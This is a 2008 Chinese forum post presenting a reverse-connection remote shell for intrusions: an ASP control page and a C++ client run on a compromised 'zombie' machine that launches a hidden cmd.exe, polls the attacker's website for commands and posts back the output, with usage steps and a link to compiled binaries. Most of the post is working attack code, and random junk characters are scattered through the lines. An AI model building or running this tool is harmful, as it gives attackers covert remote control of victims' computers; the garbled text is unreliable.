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3636600 发表于 2008-4-22 00:26

用ASP实现反向连接控制

原理:用ASP实现反向连接，客户端shell.exe大小6K,控制端console.asp大小1.75Kl}5f c8DO|cy{$D*jV
详解:R ]ubfI
灵感来自在入侵渗透内网时需反向连接但没有公网IP的时候，想到ASP的Application对象功能之强大，所以产生以下想法oC`+}*r
肉机执行程序shell.exe让cmd.exe与偶网站一ASP程序进行交互，实现控制
Application("output")为输出流,保存程序执行结果
Application("input")为输入流，保存要执行的命令
思路:M,F~3x VO9\
[Client] <-----> [Control] <-----> [Attacker]`+U e'h7v0W!i,C{A#|
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Client上运行shell.exe,Control运行console.asp，Attacker通过访问console.asp控制ClientNO$Z {E
实例:
肉机A,运行"shell.exe cooldiyer.uni.cc /cmd.asp"
偶网站放上cmd.asp，URL路径为[url]http://cooldiyer.uni.cc/cmd.asp[/url]1c*LLn(}[L$I U%p
这时我访问[url]http://cooldiyer.uni.cc/cmd.asp?who=master[/url] (参数一定要加上，标明身份)6{%@f t X#n
就可以进行控制了，Refresh刷新可以看到已经有结果了，输入命令，点Execute执行，过几秒钟后，4L#Y(Jmu2N
点击Refresh按钮可以看到执行结果，点击Clear清空输入输出流，执行"exit"程序退出
声明:
只做技术交流，程序只做演示使用，只实现与cmd.exe交互的功能,转载或修改需保留版权
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代码:W#Q$xms*{R^Ec
console.asp
____________________________________________________________________________9Bt3D U&OA4a0LTW2L
<%
'' 功能介绍:
'' 用ASP实现反向SHELL连接,与cmd.exe交互，执行命令后点Refresh后就可以看到回显c2_?^BA*pK G2X
'' 公用变量 Application("input")、Application("output")为全局输入输出流
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'' 如果请求登录*M7zP#b c8y+Nu
if request("act") = "login" then
application("login") = "yes"8XU1Oc0e
response.end
end if
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'' 如果请求退出
if request("act") = "exit" then
application("login") = "no"?l8BT'^:j KzM6U
application("input") = ""
application("outout") = "".GqdQOj
response.endu8f5WQU
end if
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'' 验证是否已经登录 }-`J/^J
if application("login") <> "yes" and request("who") = "master" then
response.write "Client not connect.."3lA:A4Yo,?4w
response.end
end ifmp!YM3~8y

'' 如果请求执行命令，放到Input流里
if request("cmd") <> "" then-j(g_%XI
application("input") = request("cmd")
end if|~CS7|5O

'' 如果命令执行完毕，结果放到output流，input流置空
if request("result")<>"" then
application("output") = application("output") + request("result")+]!oIt?2k
application("input") = ""L`e4e(LcdF;K
end if;m7Q(N i#i0G5I
%>@qb8JY3b-?X

<% If request("frame")="1" Then %>$X @NO"U,nsh

<%3j!jUZ.{+N
'' 如果请求清空输入输出流(k-A:R9Q*Kd
if request("act") = "clear" then
Application("input") = ""!_&L#]%^6Z
Application("output") = ""
response.redirect request.servervariables("script_name")&"?frame=1"
end if
%>
<textarea cols=120 rows=30>
<%=application("output")%>7?F)VvD-Q/y
</textarea>1A X0TE~:\
<a href=# onclick="location.replace(location.href);">Refresh</a>
<a href=?frame=1&act=clear>Clear</a>
<% elseif request("who") = "master" then %>L'g FcP;u
<html>
<head><title>ASP Console Manager By cooldiyer</title></head>R)_ve!a%`}/F
<body>
<iframe src=<%=request.servervariables("script_name")%>?frame=1 width=900 height=500 frameborder=0></iframe><br>
<form method=post name=frm>
<input type=text size=50 name="cmd">
<input type=hidden name="who" value="master">K n*~S {7D
<input type=submit value="Execute">dO1f._,}a
</form>(D+XRJ;[
<script>frm.cmd.focus();</script>3M}3hs0ZwL
<%m0h5v,kz7I1YDH/|
else4k'H9pL9b_2e5f|_
response.write application("input")
end if/D!`$\k@u
%>
____________________________________________________________________________FQl~a&c7H
// shell.cpp : Defines the entry point for the console application.
//
// 实现功能: 与ASP控制端实现交互，实现反向连接;N Sw#b5TvC
//!OW0A N%GC%G%geNB

#include "stdafx.h"
#include "shell.h"'PdVz\J"e9w9f3HmT
#include "afxinet.h"
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#ifdef _DEBUG9lb%wO?
#define new DEBUG_NEW5F+N4Qh"psK
#undef THIS_FILE&i8vTJMrO/GFa!q
static char THIS_FILE[] = __FILE__;
#endif-q]Qxv$[-HB"z
ap*L/]6l+x_-K}
#define BUFFER_SIZE 1024 // 读缓冲区大小ZF*t L"c,J[q~
/////////////////////////////////////////////////////////////////////////////
// The one and only application object

CWinApp theApp;p%L*fu ~ vp4~#c&|*^
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using namespace std;

CString URLEncode(const char* s); // URL 编码函数0n5^.e7zZ7er)|
BOOL PostRequest(const char *szFormData, char *szResult); // 向控制端发送请求函数
void DoShell(); // 与cmd.exe进行交互函数
char szServer[50], szPath[50]; // 公用变量
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int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])z]h`'xeCz
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int nRetCode = 0;ULCV[w7Q+e

// initialize MFC and print and error on failure
if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0)) h u t,`'f cT*J
{
// TOD change error code to suit your needski/pxX;e lu x-@0@
cerr << _T("Fatal Error: MFC initialization failed") << endl;
nRetCode = 1;J+Q|Ld'M H1jqnK"l
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printf("ASP Console Client By CoolDiyer\n");ICz#lE/j
if (argc == 3)
{@!IfRpl
memset(szServer, 0, sizeof(szServer));
memset(szPath, 0, sizeof(szPath));
strcpy(szServer, argv[1]);
strcpy(szPath, argv[2]);
}ml*c`K4]6v
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{
printf("Usage:\n\trshell <Server> <Path>\nExp.\n\trshell [url]www.abc.com[/url] /x.asp\n");d+B}'E l
return -1;
}
char szResult[1024];
PostRequest("act=login", szResult); //登录 K*m2VGNv-I
DoShell(); // 执行与cmd.exe的交互
PostRequest("act=exit", szResult); //退出
return nRetCode;6J)E*z"aL3^ tHW
}
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// r/x"o qv2H
// URL编码函数,返回一个CString变量
//&{Bu3srO
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CString URLEncode(const char* s)
{
CString encoded = "";
int len = strlen(s);&e\}cy:NT)M4N
char* buf = new char[16]; // way longer than needed
unsigned char c;

for(int i=0; i < len; i++)
{
c = s;
if ((c >= ''A'' && c <= ''Z'') || (c >= ''a'' && c <= ''z'') ||6s/OGZV$p
(c >= ''0'' && c <= ''9'') || c == ''.'' || c == ''-'' || c == ''_'')%~ x(N9a6DJ%CY.b`
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sprintf(buf, "%c", c);
encoded += buf;
continue; b2Ol%d u!pgt
}
if(c == '' '')#Y8^ Dzg
{
sprintf(buf, "%c", ''+'');
encoded += buf;
continue;&d2?9^+L8Ua.B$p5@
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sprintf(buf, "%.2X", c);
encoded += "%";@Kx7k'E&E9rr;H
encoded += buf;
}
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delete[] buf;
return encoded;
}#RZ/YIlVw.oG
3_g"W`6P#s7},m$i
//?gEWA8BET
// 表单发送函数，核心例程,返回接收到的内容，也就是要执行的命令
//6A$O\|0aw@

BOOL PostRequest(const char *szFormData, char *szResult)
{y\tA Yug"EI
unsigned int uRetry = 3; //重试三次[*P Xd!b7u9N7kw%Lz*q
try{
loop:gM D9g@8nk
CInternetSession session;*D:~ PmI7S
CHttpConnection *pConnection = session.GetHttpConnection(szServer);
CHttpFile *pFile = pConnection->OpenRequest(CHttpConnection::HTTP_VERB_POST, szPath); aB\w {*pI`
// AddRequestHeaders是必要的
pFile->AddRequestHeaders("Content-Type: application/x-www-form-urlencoded");!l3td)?|*@2}H H:p1_TB
CString szData;$Ln`:I*~!]$X3`3U#s4M
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if (pFile -> SendRequest(NULL,0,(LPVOID) szFormData, strlen(szFormData)+1))
{
while(pFile->ReadString(szData))2PE.ZW-s$Q\
{0E)a8\'X1e}3U Qo!i_
if (szResult != NULL)
strcpy(szResult, szData.GetBuffer(0));
}
pFile->Close();*Wn.}#GsE
}
session.Close();/T9ip(r k(U
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catch(...){`&W-P!MD%m~ Ex
if (uRetry --)
goto loop;
};AS*g~z)P/rM
return TRUE;
}
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//;]&~*N0z9R
// 让cmd.exe与ASP控制端进行交互的核心例程
//.T3tx$f W;m-~g
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void DoShell()
{ y:KU#Y6Y`&w
int ret;,bJ;}+j7dUC
z.\!BY}3\
SECURITY_ATTRIBUTES sa;a,_WD a@
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sa.nLength = sizeof( sa );
sa.lpSecurityDescriptor = 0; YZH-gUf.jij
sa.bInheritHandle = TRUE; !^:s+m'O^t
:cGc7AE/m6ERc
HANDLE hReadPipe1, hWritePipe1, hReadPipe2, hWritePipe2;*J,z'a6V;^n3I#X

ret=CreatePipe(&hReadPipe1, &hWritePipe1, &sa, 0);
ret=CreatePipe(&hReadPipe2, &hWritePipe2, &sa, 0); g3}g!q&uf4bk

STARTUPINFO si; VWrV#pSt
ZeroMemory(&si, sizeof(si));!I-g-m-?s

GetStartupInfo(&si);

si.cb = sizeof(si);z\5wU h lj"U0A#|
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = hReadPipe2; I,r3PN`!U l
si.hStdOutput = si.hStdError = hWritePipe1;
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PROCESS_INFORMATION processInfo; 0a"q`vgK&bu"_
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char cmdLine[] = "cmd.exe";4A${&tT Og6\*R
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ZeroMemory(&processInfo, sizeof(PROCESS_INFORMATION)); +]4Eb2pY)A
ret = CreateProcess(NULL, cmdLine, NULL, NULL, 1, 0, NULL, NULL, &si, &processInfo); lz {4^-[ux#I'S

char buff[BUFFER_SIZE] = { 0 };8u\ zJ1tf y5xy
char szTmp[BUFFER_SIZE*3]; // 因为要把结果进行编码，所以缓冲区相对要大wmq"q7cq}
unsigned long bytesRead = 0;
int i = 0;

while (TRUE) *dve2^Et.rl
{ 6NKa"F`9lB
memset(buff, 0, BUFFER_SIZE); V~ z u^I
ret = PeekNamedPipe(hReadPipe1, buff, BUFFER_SIZE, &bytesRead, 0, 0);
4SdO!PLNkK}Z7`
for (i = 0; i < 5 && bytesRead == 0; i++)
{
Sleep(100); MZ3Q[6M`t[N
ret = PeekNamedPipe(hReadPipe1, buff, BUFFER_SIZE, &bytesRead, NULL, NULL); !_1Y)n{ s3V4u+l1K/t u
} 0C^ aE-y*c i@
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if (bytesRead) Csv(P0w(lq
{ 6P/u3vCq&|U
ret = ReadFile( hReadPipe1, buff, bytesRead, &bytesRead, 0 );
if (!ret) break;
memset(szTmp, 0, sizeof(szTmp));1YaY4_ JR4ept]
strcpy(szTmp, "result=");6cP@+J Q |S2P)w
strcat(szTmp, URLEncode(buff).GetBuffer(0));
printf("%s", szTmp);n'jo!\v!s,`(p
PostRequest(szTmp, NULL); // 发送命令执行结果!L,vwwa;Tn
printf("Post command result ok\n");_Oj#x5@2iu-@)Dh
} 0RXZ \aD*odl'g%N
else
{
// 得到要执行的命令g$Sw/v {*bp
do0o!y/kp1b
{
PostRequest("get=yes", buff);
printf("get command\n"); [NM\'ZJg%I
::Sleep(1000); // 间隔为1秒}]QW0{|:?
}[0o-oge5G)Fo
while (strlen(buff) <= 0);
printf("%s\n", buff);
// 命令为exit则退出6Pg]&QJeg7z;KD
if (strcmp(buff, "exit") == 0) break; // 程序退出Tl*D!fY:U9@6q
8B\?j#H
strcat(buff, "\n"); // 加上换行
bytesRead = strlen(buff);L:LA/Xr"W!B.dz
printf("execute command %s", buff);R^#poO`;^g
// 执行命令
WriteFile( hWritePipe2, buff, bytesRead, &bytesRead, 0);
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}
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TerminateProcess(processInfo.hProcess, 0);
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CloseHandle(hReadPipe1); fjOu&GP3r[ d
CloseHandle(hReadPipe2);
CloseHandle(hWritePipe1); M IJzR gW&s^
CloseHandle(hWritePipe2);
}
____________________________________________________________________________
备注:
以上代码可能因过滤而显示错误，请下载压缩包(含全部源代码和编译好的程序): [url]http://201314.free.fr/attachments/200612/aspconsole.zip[/url]

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用ASP实现反向连接控制